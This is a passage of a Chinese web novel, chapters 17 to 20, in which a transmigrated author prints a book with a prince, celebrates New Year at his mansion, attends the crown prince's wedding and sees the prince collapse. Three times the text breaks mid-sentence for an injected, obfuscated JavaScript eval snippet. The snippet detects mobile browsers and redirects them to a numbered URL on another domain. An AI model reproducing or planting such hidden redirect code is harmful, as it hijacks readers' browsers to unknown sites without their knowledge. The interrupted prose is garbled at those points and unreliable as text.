穆衍笑了笑:“淑瑶极善丹青,需要的话,我想她自己就能完成。” 这话听起来似乎有些不是滋味? 江沁月怎会不知道颜桃是个琴棋书画样样精通的才女?只是让她亲自来画话本小说插图,似乎有些大材小用了。 二人一边吃饭,一边接着就印书之事商量了些细节。之后便随意地闲聊,席间也算得上是谈笑风生。 江沁月还趁机尝了尝王府的珍藏美酒,她并不嗜酒,但来了古代自然不能错过,更何况王府中的肯定是好东西。 几杯酒下肚暖身暖心,但穆衍不能饮酒,一人独酌总少些兴致。饶是如此,酒足饭饱的江沁月还是心情大好,十分惬意。 “王府总是冷清,回来后我都有些怀念在邀月轩的日子。”穆衍睫羽低垂,灯火将他的双眼映照得温柔朦胧。 彼时彼刻,邀月轩中恰好相聚了四个孤独的人,凑出了一段时间的热闹。 “所以,江姑娘能来王府,本王很开心。美酒佳肴,总要与人同享才更有风味。”他抬眼认真地看着她,明明并未喝酒,眸中却沁着水色。 不要顶着这样一张好看的脸直勾勾地盯人看啊!江沁月赶紧移开目光。 “殿下愿意的话,以后我们可以都一同用膳。”江沁月脑子一热便脱口而出。 这话不太对吧,在穆衍的王府里邀请穆衍一起吃饭…… 穆衍莞尔道:“好啊,我也正有此意,还担心江姑娘会不愿意。” 夜已渐深,穆衍将她送到梧桐苑门口,正准备叫人护送着江沁月回去,却见云霞已经提灯等在院门口。 江沁月笑着招呼了她,转身向穆衍告辞。 “对了,我们也认识好些时日了,殿下不必叫我江姑娘,喊我名字就好了。” “那…明天见,沁月。”穆衍温声道。 17. 独在异乡新岁临 次日一早,江沁月与穆衍、颜桃便在书坊外碰了面。 穆衍先带她们在里面参观了一圈,书坊面积很大,虽说闲置已久,但雕版印刷的工具器械一应俱全,蛛网积灰也早已被扫除干净。 几人寻了个地方坐下,一起商讨书本的具体细节,不多时便确定了方案。 “可以先做文字的雕版,插图过几日我画好了再拿来。”颜桃爽快答应了画插图的事,接着道,“等过完年再发行出去吧,时间差不多。” 穆衍叫来管事,将他们写下的方案交给他,并吩咐他要听江沁月与颜桃的安排。 管事连忙应下,接过纸张扫了一眼上面的内容,就招呼众人忙碌起来了。 进展太过顺利,江沁月不免感慨,自己在现代工作时,与同事的沟通怎么不能如此顺畅? 说起来,就是因为没和傻逼同事对接好工作,才导致她穿越前那个深夜在公司悲惨加班。 书坊工匠们的效率也很高,赶在年前制完了雕版,印了样书拿来让他们过目。 “淑瑶,你看看还有什么需要改进的地方吗?”这几日颜桃常往王府跑,一来二去间江沁月与她也越发亲近起来。 “我觉得挺好的,”颜桃仔细翻看了一遍,没挑出什么毛病。 江沁月也将样书翻来覆去看了好几遍,总觉得应该可以再加点什么。 对了,可以在扉页上签名啊! 她立马把这个想法告诉了颜桃,补充道:“签名版的要限量发售,而且不是我签,可以的话,我希望由淑瑶和太子殿下一起亲自签,能写一些吉祥话的话就更好了。” 明星效应在古代自然同样适用,江沁月“妙笔生”的名号虽能算得上小有名气,但自然不如故事的二位主人公有威望。 有太子穆灼和才女颜桃的墨宝作为噱头,恐怕就算是目不识丁的人也愿意买书回去沾沾喜气。 “没问题。”颜桃毫不犹豫地应下亲签一事,“沁月姐姐,你似乎总是有很多有意思的奇思妙想。” 江沁月笑弯了眼:“过奖啦,淑瑶你有什么好主意我们也可以一起探讨嘛。” 万事俱备,众人的忙碌也告一段落。只等上元节后颜桃将亲签的纸笺拿来,便可大量印刷装订准备发行了。 …… 还有三日便是除夕了,王府已经彻底大扫除了一遍,花园里回廊下挂上了花灯,各处的窗户也贴上了剪纸窗花,红艳艳的色彩为一向冷清的王府平添几分热闹氛围。 而京城的街巷集市就更是热闹喜庆了,江沁月和穆衍并肩随着熙熙攘攘的人群慢慢走动,路边摊贩和商铺中琳琅满目的货品让人应接不暇。 云霏和云霞也一起出来了,跟在他们身后不远处,以保护二人安全。 “殿下今年怎么突然想着要逛集市了?府中需要的东西都备齐了啊。”云霏跟云霞咬耳朵道。 云霞淡淡道:“江姑娘第一次在京城过年,殿下特意带她来凑热闹的。” “我知道啊,我是说…阿霞,你觉不觉得,殿下好像挺喜欢江姑娘的?” “这有什么?我也很喜欢江姑娘啊,你很讨厌江姑娘吗?”云霞奇怪地瞥他一眼。 “不讨厌啊,我也挺喜欢江姑娘的……哎呀!我说的不是这种喜欢……” “云霏,你这么长的舌头若是在宫里做事,应该已经死了八百回了。”云霞凉凉地打断他,不知道她的好哥哥每天哪来那么多话。 “我才不去宫里做事!而且你可是我亲妹妹!跟你我有什么不能讲的唔……” 云霞将一串糖葫芦塞进他嘴里,总算是让他消停了下来。 穆衍和江沁月自然没听到后方兄妹二人的对话,江沁月不仅是第一次在京城过年,还是第一次在古代过年,看什么都很新奇。 “有什么看得上的玩意,直接拿就好。”穆衍看她兴致颇高,笑着道。 “不用不用,看个新鲜就好。”江沁月只是对一些没见过的小玩意感到新奇。 然而穆衍还是把她多留意两眼的东西全都买下了,打包丢给了云霏,沉重的体力劳动终于让他失去了说话的力气。 云霞对此表示十分满意,并且不打算搭把手帮他忙。 “沁月,要看看衣服吗?新岁将至,正好穿新衣。”穆衍指了指不远处京城最富盛名的成衣铺。 “不用了吧?我那满满一柜子的衣服都还没来得及穿几件……”江沁月道。 “之前不知你喜好,便让云霞将时兴的样式都备了一些,今儿个你挑一些自己喜欢的吧。” 也不好拂了他一片好意,江沁月便答应了进去逛逛。 穆衍带着她直接上了楼,边走边解释道:“用料最好、做工最细的成衣都在二楼,一楼那些货色不必看了。” 江沁月一瞧,楼上楼下的陈设风格确实是大不相同,大概就是楼下是快消品,楼上是奢侈品吧。 既看得出这些服饰价值不菲,她也无心挑选了,转悠着看了一圈便打算寻个由头离开。 欸?角落里那件青色的袄裙倒是别致,冬衣甚少用这样清透的颜色,而衣领袖口处的银灰色貂绒滚边也恰如其分地让这分鲜妍不会显得太过跳脱。 “你穿上那件一定好看。”穆衍敏锐地捕捉到了她眼神在那件袄裙上的一瞬停留。 “但这颜色不太适合冬天穿……” “不必适合冬天,适合你就是极好的。”穆衍不给她推辞的机会,直接叫人来打包,“尺寸应当也合适,稍有差池的话让人改改就好。” 你的眼睛就是尺?江沁月目瞪口呆,她自己都看不出来那袄裙穿上是否能合身。 “这青色袄裙与方才买的那几朵绒花发饰也很相配,发间再插上玉簪作点缀更佳。”穆衍说着又点了几件衣裳,让人一并包上。 不得不说,穆衍不仅容貌出色,审美也是极佳。 他自己日常的衣着首饰便极为讲究,没想到对女子服饰的搭配也是得心应手,他另外选出来的那几件,也颇合江沁月的心意。 毕竟是她笔下的世界,这里自然不缺美人。然而美人千千万,有人美而不自知,如清水出芙蓉;有人美而自知,并用心加以妆饰,当真是赏心悦目。 穆衍应当是属于后者,他肯定是知道自己好看的,但他不会妄自菲薄,亦不会顾影弄姿。 这几件衣服加起来的价格可不便宜,穆衍随手抽出几张银票付了钱,随意得仿佛只是在路边买了俩包子。 真是……有颜又有钱,江沁月承认自己心动一秒,没有人能拒绝这样的男人。 但是他为什么要对自己这么好?她只是因印书之事暂居王府,他们能不能算朋友都难说,毕竟穆衍对她应该是有疑心的。 走出成衣铺时,江沁月还是没忍住,低声问了他为何。 “不必在意,于我而言算不上几个钱。”穆衍怔愣一瞬后回答道。 “王府少有客人,这是我以为该有的待客之道,更何况沁月你是我的救命恩人,我自然想用最多最好的东西招待你,抱歉让你感到不自在了。” “不不不,殿下跟我道歉干什么……是我不识好歹了……”江沁月不好意思道。 是她自己太别扭了,总是很难坦然接受他人的好意,或是急于偿还。 来到这里之后遇到的人大多充满善意,她喜欢笔下这样的世界,却又怕安宁祥和之下酝酿着更汹涌的恶意,更怕自己会乐不思蜀,失去回家的执念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156647|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会的,那里有她的家人朋友,那才是她最无法割舍的。 而再不堪的现实生活,也才是她真正面对的人生。 可以享受当下的一切,但不要忘记唯一的最终目的。 江沁月朝穆衍露出一个真心实意的笑容:“多谢殿下,我今天……很开心。” …… 除夕夜,梧桐苑中,江沁月和穆衍以及云霏兄妹二人一起吃上了年夜饭。 年夜饭的具体内容,自然是无数穿越者的保留节目——火锅。 其实这个世界本身就是有火锅存在的,江沁月只是稍作改良,制作了来自家乡的火锅底料。 穆衍给王府中的大半下人都放了假,但云霏和云霞对他而言本就是家人一般的存在,自然是留下一起过年。 江沁月这些日子来与兄妹二人也混熟了,便拉着他们一起捣鼓火锅底料。 熬好了牛油,备好了辣椒香料,但她自己以前也没尝试做过,各种东西的配比只能估摸着来。 之前第一次和穆衍在王府吃饭时,据她观察,他似乎不太喜欢吃辣,于是她特意少放了些辣椒。 不过最后端上桌的,还是进一步妥协改成了鸳鸯锅。 “江姑娘,你这个底料配方可以给赵老板一份,邀月轩肯定又能在京城里名声大噪一回。”云霏一边倒吸凉气缓解辣意,一边涮菜夹菜动作不停。 云霞也一味地夹着红锅里的食材:“有点辣,但好吃。” 穆衍没说话,只微微颔首表示认同。他看起来也是被辣到了,额上沁出细密的薄汗,眸中也带有雾蒙蒙的水色。 “你们喜欢就好,”得到认同的江沁月十分欣慰,“昭兰姐回老家过年了,等她回来了我就把配方拿过去,说不定她还能改良一下。” 四人围坐在窗边的案几前,铜锅中的热汤“咕嘟咕嘟”地翻涌沸腾着,腾腾热气将本就温暖的室内熏得有些过于燥热,幸而支起窗户后吹进来的冷风让众人都舒爽了不少。 京城迎来了入冬以来最盛大的一场雪,此刻窗外仍有纷纷扬扬的雪花飘落,院中早已积起了厚厚一层落雪,屋里明亮的烛火却把雪色映得暖了几分。 夜已深,但京城的万家灯火彻夜辉煌,守岁的人们共同期盼着新岁来临。 对江沁月而言,这是一个特别的新年,但是独在异乡为异客,她也有些思念亲友了。 她扒在窗沿上,仰头看着漫天落雪,有雪花飘落在她的鼻尖上,转瞬间便融化消失不见。 “咚——”悠扬的新年钟声响起,夜空中随即绽放开无数绚烂的烟火。 穆衍给四人杯中都斟满了酒,江沁月本想劝穆衍爱惜身体别喝酒,但又觉得新年之际何必扫兴。 她毫无防备地将杯中淡棕色的液体一饮而尽,结果被这辛辣涩口的味道呛得说不出话来。 “咳咳咳……这是药酒吗?好难喝……”江沁月眼泪都被呛出来了。 “这是屠苏酒,里面加了大黄、白术等十余种药材,确实也能算药酒了。”穆衍适时地递上一方丝帕,“沁月的家乡在过年时,没有喝屠苏酒的习俗吗?” “很少有吧,我家反正没有……”她突然想起自己编造的寡妇人设,严谨地补充道,“我娘家和夫家都没有,今日第一次喝。” “原来如此。”穆衍的眸色微不可察地黯了黯。 云霞笑道:“难怪江姑娘一口闷了,我们都是浅抿两口意思一下。” “阿霞最有发言权!她来京城第一次喝时,也是猛灌一大口被呛得不行哈哈哈……”见妹妹收敛笑意飞来一记眼刀,云霏立马噤了声。 今夜偌大的王府灯火通明,但只梧桐苑一处热闹所在,唯此一隅,却足以叫人安心。 18. 佳礼贺喜同赴宴 年还没过完,颜桃便带着签好名的厚厚一沓纸笺来拜年了,她是过年期间王府迎来的第一位客人。 尽管穆衍手中已无实权,但以他的功绩与身份地位,自是不缺上赶着攀关系讨好的人。其实不少人都登门拜访过或递了帖子,但穆衍都以养病为由回绝掉了。 “殿下逢年过节时都不见外人吗?那那些人巴巴地凑上来做什么?”江沁月悄悄问过云霞。 她之前就知道穆衍其实温和又淡漠,就像一块看似温润的寒玉,但是…… 云霞摇摇头,亦是百思不得其解:“一般都会见一些应付一下,也就今年直接闭门谢客了。” 或许是鬼门关里走一遭后身心俱疲,让他再无余力去与人周旋逢迎了吧。 颜桃此番还带来了一样东西——她与穆灼的婚礼请帖。 “日子定在下月十五,殿下到时候会来的吧?”颜桃小心翼翼地问道。 江沁月闻言来了精神,仔细观察着对面穆衍的神情。她也十分好奇,穆衍会答应去吗? 打个不太合适的比方,这就像是舔狗收到了前女友的婚礼请柬…… “好,我会去的。”穆衍修长的手指在请帖上敲了敲,平静地答应了。 嘶……这么云淡风轻的吗?而且他居然愿意去? “沁月姐姐,可以的话,我希望你也能来。”颜桃说着将另一封请帖递到了江沁月面前。 江沁月怔怔地接过请帖,澎湃感慨的心潮如同接到心仪大学的录取通知书那时一样。 女主角亲自邀请她去参加婚礼欸!作者能亲自去到笔下主角的大婚现场,她回去能吹上三天三夜。 “姐姐有什么顾虑吗?”见她沉默不语,颜桃关切地问道。 “也没什么……就是有点担心我这身份去不太合适,怕冲撞了贵客。”江沁月确实有所顾虑。 她虽然是原书作者、主角亲妈,自我感觉去坐高堂也是天经地义,但在这里她只是个小老百姓,何德何能去参加当朝太子的婚礼? “身份?大家都是受邀前来的宾客,没什么不合适的。”颜桃拍拍她的手,示意她放宽心。 “不必担忧,届时你可与我一同前往。”穆衍也在一旁说道。 …… 不日后书坊开工,大量的印刷、装订工作也紧锣密鼓地进行着。江沁月还拜托了林三说书时帮忙宣传一下,让他一定要强调有主角二人的限量亲签。 穆灼与颜桃的婚讯已传遍了整个京城,《东山起》趁着这天赐良机全城发行,一时间竟被哄抢一空,亲签版的更是高价难求。 而且据她这些日子的观察了解,京城百姓的文化程度还挺高的,大字不识的人并不占多数。 印书之事已暂告一段落,江沁月已经没有理由再长居在王府,但她没忘了自己有任务在身,还是在离穆衍近一些的地方为好。 她心中已有了盘算,这日寻了个合适的时机准备跟穆衍提一提。 “殿下,看着《东山起》如此畅销,我又有了一些新想法,不知殿下是否有兴趣?”江沁月问这话时不可谓不紧张。 他要是直接说不感兴趣,她可能就得收拾包袱遗憾离场了。 “哦?说来听听。”幸而穆衍还挺给面子。 江沁月深吸一口气道:“我想可以编写一种固定周期发行的书籍,收录时兴的各类故事,比起口耳相传,白纸黑墨或许能更好地让这些故事传承下去。” “小故事中往往也暗藏着大道理,都有被记录的价值。”江沁月试图提高自己的说服力,她记得穆衍之前也说过类似的话。 穆衍想都没想便道:“我觉得不错,很有意思的想法。可是具体想如何操办呢?” 江沁月早有准备:“我想将这刊物命名为《四时杂谈》,于春分、夏至、秋分、冬至之时各发行一册,一年合计四册。” “每一册收集近来的热点故事,这故事自然不能我一人来写,我们可以向大众征稿。” “另外可以与邀月轩合作,上刊的故事可以让妙语花说道演绎,进一步提高其流传度,我们也算是互惠互利。” 她的灵感与知识储备有限,光靠她创作和“借鉴前人”的故事,不足以支撑邀月轩的说书产业长盛不衰。 而这样一来,便可以使那三尺讲台成为真正的“百家讲坛”,吸纳更多人的故事。 “所以,沁月是想借我这书坊一用?”穆衍道。 江沁月点点头,期盼又忐忑地看着他。 心中其实有些没底,穆衍没有义务帮她,为她一时兴起的奇思妙想提供助力。 “好,反正这书坊闲着也是闲着,不如找点事做。”没想到穆衍答应得挺爽快,“沁月你放手去做,书坊以后你可以随意使用。” 说着他唤来云霏,将书坊的钥匙与令牌交给了她。 “多谢殿下,我一定好好干,不辜负殿下的好心。”江沁月欣喜接过,心中半块石头落了地。 另外半块石头,是在思忖着如何才能继续留住在王府。毕竟光是在书坊,她估计没什么机会见着穆衍,更遑论观察续写他的命运了。 江沁月决定来一招以退为进。 “殿下,这些日子多有叨扰,过些日子待我寻到合适的住处,我就尽快搬走。”江沁月作出几分不好意思的样子。 穆衍愣了一下,旋即道:“你在京城举目无亲,何来合适的住处?要回邀月轩那边吗?” 不等她回答,他便接着道:“不必如此折腾,你在王府想住多久住多久,这里也没有旁人,你去书坊也方便得多。” 妙哉!江沁月心中狂喜,面上却不敢表露出来,半推半就客客气气地答应了。 既然决心在春分时发行,那时间也算不上紧张,江沁月着手准备之际,颜桃听闻了此事,兴致勃勃地找来表示可以继续帮她画插图。 江沁月一边忙着新业务,一边抽空搞定了婚礼当日要送去的贺礼。 她寻了京城最好的工匠,让他用纯金打造了一棵一尺高的姻缘树,金灿灿的枝叶上缠挂着红珊瑚珠串成的姻缘线。 来到这里之后她赚的钱并不少,但这份贺礼还是花掉了她大半小金库。 江沁月完全不心疼钱,笔下的主角就像是自己的孩子,她只怕自己的贺礼不够贵重、不够用心。 …… 穆灼虽为太子,但并未居住在东宫。他以自己从小不在内廷长大为由,被封为太子后依然居住在宫外的府邸。 婚礼自然也在这里举行,为此礼部还修改了部分婚礼流程。 府中上下一派喜气洋洋,江沁月与穆衍同行,第一次见到了男主角穆灼。 主角或许真的自带光环,哪怕周遭人来人往,你都能第一眼看到他。 穆灼穿着繁重的礼服,更显气度不凡。意气风发的少年走过来笑着招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157933|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼他们,言行举止间自带亲和力。 穆衍与穆灼是堂兄弟,但二人并没有什么相似之处,甚至可以说是截然相反。 江沁月的视线在二人之间转了几圈,单论长相而言,她私心里觉得穆衍其实更好看。 穆灼像是明媚热烈的太阳,本就该在最高处普照众生,让人甘愿臣服追随。 而穆衍只比穆灼年长个三四岁,看起来却温和沉静得多,甚至时常给人以淡漠疏离之感,好似平静无波的一池死水。 她相信穆衍不是一直这样的,他从小到大都良善地对待这个世界,命运却待他不公。就在不久前,他都还是凯旋而归春风得意的青年将军,如今…… 江沁月默默下定决心,既然她来了这里,就要将这朵饱经风霜的小白花重新养好。 一阵寒暄后,云霏和云霞将二人带来的贺礼呈上,穆衍送的东西很多,最稀奇的是一柄触手生温的白玉如意。 而穆灼看见江沁月送的小姻缘树后十分惊讶:“江姑娘非富非贵,不必送如此贵重的礼物的。” 穆衍没说话,但看上去也颇为讶异,江沁月之前没跟他说送了什么。 “我与淑瑶一见如故,就想着要送便送最好的。钱嘛,可以再挣的,我也不至于就吃不起饭了。”江沁月道。 “多谢,改日我便让人打个琉璃罩来,将这树好好珍藏起来,定不辜负江姑娘美意。”穆灼笑着说。 众多宾客来来往往,穆灼也不与他们多聊,让人引他们入内。 自从在庆功宴上晕倒后,穆衍应该几乎没在人前出现过,能来这里的大多都是京中权贵,见到穆衍无不恭敬客气地行礼问好。 “见过襄王殿下,不知殿下如今身体可好?之前送去王府的燕窝殿下可还用得惯?需要的话臣再命人送些去。” 又来一个,这些人在问候时,大多都会状似不经意地提起自己曾送去些什么东西。 “凌大人有心了,本王已无大碍。”穆衍道,接着难得多问了一句,“令郎今日没来吗?似乎没看到他。” “啊……有劳殿下记挂,犬子前几日得了风寒,还没痊愈所以便没来。”这位凌大人应当与穆衍没什么交情,没想到他会多问。 “殿下、这位……小姐,下官先行一步。” 凌大人犹豫了一下该如何称呼江沁月,他拿不准这女子是何身份,襄王尚未婚配,甚至一向不近女色,她却跟在他身边,大抵是族中姐妹之类的? “我叫江沁月,是颜小姐的朋友,今日受邀来参加婚礼。”江沁月自我介绍了一下。 “沁月亦是本王府上贵客,最近受我所托在帮忙做事,今日便与本王同行前来了。”穆衍补充道。 她帮他做事?她自己都不知道帮什么了。江沁月闻言偏头看向他,心下不解。 明明之前是一起帮颜桃印书,现在是她请他帮忙借书坊一用…… “不必与他多费口舌解释太多,但若完全不解释,恐怕这些人会妄议你的身份,招来诸多风言风语。”待凌大人走远后,穆衍道。 他似乎总是能看穿她心中所想, 风言风语?江沁月一下子也明白了穆衍的意思,不解释的话她可能会被当成他的姬妾之类的…… 尽管这种正式场合一般根本不会允许这种身份低微之人进入,而且穆衍府中根本没有姬妾。但人言可畏,谣言这种东西,总是越传越离谱的。 19. 佳人成双心难平 皇室的婚礼流程庄重而繁琐,从黄昏熬到了天黑,总算是快结束了。 江沁月看着堂前的穆灼与颜桃,二人仿佛佳偶天成,含笑共饮下手中的交杯酒。 今天的颜桃格外漂亮,凤冠霞帔,朱唇绯颜,笑得明媚夺目。 亲历亲见之后,江沁月忽然知道拖欠很久的大婚番外该如何写了,她决定回去之后就打在手机上,穿回现代后就发出去。 她不自觉露出欣慰的姨母笑,感动得快要落泪。 大婚也不会是他们的结局,穆灼和颜桃的故事会在读者不知道的地方延续。 而自己还有幸能继续亲眼见证一段时间他们的幸福,直至回家。 身边之人良久不说话,穆衍有些不习惯,转头一看,只见她出神地看着那双璧人。 她嘴角噙着笑,却眼眶湿润……她在想些什么? 她与淑瑶的关系不错,是因为好友的出嫁而感慨吗?可她们相识并不久,日后也能常相见,何至于此? 是目睹这番热闹景象,想起了从前的丈夫吗?之前听她所言,她夫家人刻薄恶毒,但她与丈夫的感情似乎还不错。 或许他们成婚时,少女心绪的她也对未来生活有着美好的憧憬。 今日这般,是触景伤情了吗? 他回想起与江沁月相遇后的种种。 重伤初醒后,第一时间映入眼帘的便是她离得很近的清秀脸庞,那双黑白分明的眼睛清澈纯净。 之后的一段时间里,也是她照顾他最多,还给他带来话本小说解闷,请他品尝新品茶点。 穆衍看得出来,江沁月有心刻意关照他,其实他也总留意着江沁月的一举一动。 尽管总觉得江沁月身上有诸多扑朔迷离之处,但他已将她视作亲近之人,或者说……朋友? 他还记得她落笔成章时认真专注的神情,记得她在院中私下练习时偶尔的蹙眉,记得她在台前讲故事时眉目间的神采飞扬,记得她找他借用书坊时眼中的期冀与忐忑。 她所做的一切,都是她发自内心所喜欢的。 这样坚韧美好的女孩,竟然曾经差点在一个蛇鼠一窝的夫家蹉跎一生。 他突然为她感到庆幸。 幸好那个无能的丈夫死掉了,夫妻感情好有什么用?日子一久总有可能变心,那个家会成为真正的地狱。 幸好她逃了出来,在广阔的世间,在繁华的京城,她可以追求自己想要的人生。 那些日子不值得她再去回忆。 穆衍收回流连在她身上的目光,心不在焉地继续观礼。 “礼成——”随着礼官的一声高呼,漫长的仪式终于结束了。 宾客们熙熙攘攘地向宴饮之处走去,江沁月与穆衍并行,但二人都沉默不语。 江沁月刚才就注意到了,穆衍的脸色有些难看,大抵是看着这二人成婚,心情不太好…… 没事哒没事哒,接受这个事实就好啦,你也会有自己的金玉良缘的——江沁月很想这么安慰他,但这话实在是不好开口。 说什么也是枉然,他自己慢慢也会想通的。 喜宴上觥筹交错,穆衍看起来已恢复一如既往的淡然,和席间诸位推杯换盏,饮了不少酒。 江沁月也未劝阻,一来会暴露他身体并未好全的情况,二来或许他是想借酒消愁呢。 由着伤心人去吧。 从太子府出来时,已是月上中天。 “沁月,我们走回去吧。”穆衍喝得有些多,说话时语速放得很慢,咬词也有些不清。 “殿下还好吗?夜里风大,别受了寒又病倒了。”江沁月担忧地看着他。 “我没事,就是想吹吹风醒醒酒。” 江沁月便依着他,和他一起向王府的方向走去,云霏和云霞也跟在他们身后慢慢走着。 “你们先回去吧,这里离王府不远,不用管我。”穆衍对他二人道。 兄妹俩对视一眼,分别跃上两边的屋檐,几个跳跃间隐去了身形。 提前回府是不可能的,远远跟着确保安全还是有必要的。 他们没忘殿下上次深夜独自出行,差点命都没了,况且现在甚至还有个刺客下落不明。 “沁月,你……之前成婚时,是怎样的情景?”穆衍想了很久,还是借着微薄的醉意问出了口。 “啊?我?”江沁月有些懵,怎么突然问到她身上了? 还有,为什么老抓着她这段不存在的过往一直问?是想从这里找出她身份的破绽吗? 没办法,江沁月只能继续胡诌:“我成婚的时候……我们两家都不富裕,办得简单,就简单走个流程,两家人一起吃了顿饭。” “那你们可有子女?若是孩子还在你夫家,我可派人去替你接来。” 他在说些什么?话一出口,穆衍自己都觉得荒唐。 “……什么?”江沁月一时竟不知该如何回答,这越问越离谱了。 “呃……那个,我丈夫他……他不举!我们没孩子,没孩子……”回答得也挺离谱,但她管不了那么多了,只希望穆衍别再问了。 “抱歉,是本王唐突了。”穆衍这么说着,心下却满是嘲弄,这种人也配娶妻? 呵,无能之辈,无用之极。 见他不再继续这个话题,江沁月暗暗松一口气。 忽然,穆衍停住了脚步,江沁月也跟着停下来,却见他面色惨白如纸,连嘴唇都失了血色,双眉紧蹙地捂着心口,手背上的青筋因用力而暴起,仿佛在忍受着什么巨大的痛苦。 “殿下?你怎么了?!”江沁月被他这副摸样吓了一跳,下意识地伸手想扶住他。 穆衍根本说不出话来,从心口蔓延到四肢百骸的阵阵剧痛让他不由自主地跪倒在地,喉间涌上浓烈的铁锈味,他猛地咯出一口鲜血。 他尽力偏开了头,却还是不可避免地弄脏了她的衣袖。 失去意识前,穆衍最后看到的是江沁月花容失色的神情,她似乎在喊他,但他听不清。 自己这副样子一定把她吓坏了吧。 “殿下?穆衍?穆衍?!”江沁月声音有些颤抖,跪坐在冰冷的地面上,半扶半抱着穆衍的身体。 这一切发生得太快,她确实被惊得有些手足无措。 好在云霏和云霞立马赶到,云霏一边向皇宫的方向疾行一边道:“阿霞你和江姑娘带殿下回府,我去请太医。” 云霞二话不说将穆衍背起,拉上江沁月赶回了王府,将穆衍带回梧桐苑安置在床榻上。 “江姑娘先回去休息吧,我留在这里照顾,太医也马上就来。”云霞道,“殿下这是发病了,不必太担心,等兄长回来,我就回清秋苑来。” 江沁月明白自己在这里帮不上什么忙,她甚至连穆衍到底是什么病都不清楚。 “好。”她抿抿唇,最后看了那人苍白脆弱的容颜一眼,转头向自己的住处走去。 江沁月心乱如麻,自然是睡不着了,抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164170|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着被子盘坐在床上发呆,腿被压麻了也浑然不觉。 她没想到穆衍的病如此严重,毕竟平日里他看起来与常人无异。 难道真是因为意难平而郁结于心,气得发病了吗? 她左思右想,拿出手机给漆桐发消息:“穆衍要是死了怎么办?” 仙君最近似乎不算繁忙,不一会儿便回了消息。 漆桐:“现在死了的话,你应该算是gameover了。” 漆桐:“你扪心自问一下,他现在死和之前遇刺就死,除了多活了几个月,还有区别吗?” 江沁月:“……” 其实听云霞的意思,穆衍应该不会有生命危险,但她还是不可避免地忧虑起来。 漆桐:“你人都来了,在必要时刻推波助澜一下,为他带来一些实质性的进展嘛。” 江沁月把手机塞回枕头下面,懒得再理她,天天尽说些没用的话。 翻来覆去一直捱到天蒙蒙亮,江沁月终于沉沉睡去。 再醒来时已经是日上三竿,她穿衣下床,恰好看见云霞提着食盒进来。 “殿下已无大碍,江姑娘,先用早膳吧。”云霞道,“知道姑娘担心,待会儿我陪你去梧桐苑。” 江沁月一边吃,一边还是忍不住问道:“云霞,殿下他……到底是什么病啊?这么严重吗?” “原来姑娘不知道吗?我觉得也没有瞒着你的必要。”云霞紧接着言简意赅地讲了下情况。 先天带有的隐疾,一发不可收拾成了无法治愈的心疾,听起来应该和先天性心脏病差不多?古代又不能做手术,看来穆衍确实没什么痊愈的可能了。 早知道写书的时候就敲定他是什么病,或许他就不用这样终生被病痛折磨了。 几口扒拉完早饭,江沁月便赶去梧桐苑探病,一进屋便看见穆衍已经醒了,正斜倚在床头喝药。 “你来了,快坐吧。”穆衍见她来了,将手中药碗搁到一边,唇角勾起一丝浅淡的笑意。 江沁月在床边坐下,将他上下打量一番,眼前人看起来确实已无大碍,只是面色依旧苍白。 “殿下没事了就好,昨晚真是吓死我了。”江沁月总算是放下心来。 思虑再三,她决定还是要好好开解一下穆衍,保持心情愉悦才有利于身体健康嘛,万一他自己想不通怎么办? 尽管江沁月早打好了腹稿,此刻房中也只他二人,但她还是踌躇了片刻,终于鼓起勇气开了口。 “殿下,我知道你心悦淑瑶……太子妃已久,昨日眼见着她与别人成婚,你心里肯定不好受。” “但请殿下勿要执念于过去的人和事,心结难解,反倒伤了自己身体。” “我也知道太子殿下与太子妃携手走到今天,其中离不开殿下的助力。殿下既已成全他人,那也放过自己吧,未来定会有能真正托付真心之人。” 静静地听她说完这些话后,穆衍垂眸沉默不语,房间中沉寂得似乎连空气都有些凝滞。 是被她说中了吗?还是这话太冒犯,让他更不悦了? 江沁月心里七上八下,撇开头装作若无其事地四下打量着他的房间。 “沁月。” “嗯?”江沁月闻声回头,正对上他抬眸看向自己的视线。 此刻那双漆黑的眼睛微微眯起,古井无波的眼神中难得浮现出一丝迷茫。 “我不知道你为何突然说起这些话……可是,我未曾喜欢过淑瑶。” 20. 良药苦口为谁安 江沁月懵了。 之前还准备了很多宽慰他的话,现在似乎已经失去了意义。 “……未曾喜欢?”她喃喃道,“可是你们之前有婚约,你还一直劝她不要和太子殿下在一起……” 这话似是在问他,又像是在自问。 笔下的温柔美强惨男二说他从未喜欢过女主,这还是自己写的书吗? 江沁月有种天塌了的感觉,整个世界都仿佛是虚假的。 